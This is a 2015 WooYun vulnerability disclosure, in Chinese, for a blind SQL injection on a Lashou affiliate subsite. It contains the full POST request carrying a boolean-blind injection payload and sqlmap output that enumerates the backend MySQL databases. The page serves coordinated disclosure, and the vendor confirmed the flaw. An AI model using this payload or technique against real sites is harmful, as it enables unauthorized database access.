当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104299

漏洞标题:拉手团购某分站存在post注入

相关厂商:拉手网

漏洞作者: 路人甲

提交时间:2015-03-28 10:20

修复时间:2015-05-12 15:20

公开时间:2015-05-12 15:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-28: 细节已通知厂商并且等待厂商处理中
2015-03-28: 厂商已经确认,细节仅向厂商公开
2015-04-07: 细节向核心白帽子及相关领域专家公开
2015-04-17: 细节向普通白帽子公开
2015-04-27: 细节向实习白帽子公开
2015-05-12: 细节向公众公开

简要描述:

mysql post 无回显注入

详细说明:

问题站点,拉手联盟分站

POST /index.php?r=tui/tui/goods HTTP/1.1
Host: union.lashou.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://union.lashou.com/index.php?r=tui/tui/goods
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
SearchForm%5Bkeyword%5D=' and 1=if(1=1,1,(select 1 union select 2)) and '1'='1


1=1 返回正常,1=2跳转302

w1.png


w2.png

漏洞证明:

sqlmap identified the following injection points with a total of 11 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: SearchForm[keyword]=' and 1=if(1=1 AND 1942=1942 ,1,(select 1 union select 2)) and '1'='1
---
[21:59:16] [INFO] testing MySQL
[21:59:24] [INFO] confirming MySQL
[21:59:39] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[21:59:39] [INFO] fetching database names
[21:59:39] [INFO] fetching number of databases
[21:59:39] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[21:59:39] [INFO] retrieved: 2
[22:00:00] [INFO] retrieved: information_schema
[22:09:58] [INFO] retrieved: adare
available databases [2]:
[*] adare
[*] information_schema

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-28 15:19

厂商回复:

问题已经告知研发.谢谢您的关注和无私的反馈.我们已经着手修改.万谢.

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-13 21:48 | Soulmk ( 路人 | Rank:6 漏洞数:2 | 我是来学习滴~~)

    这注入语句~~~,学习了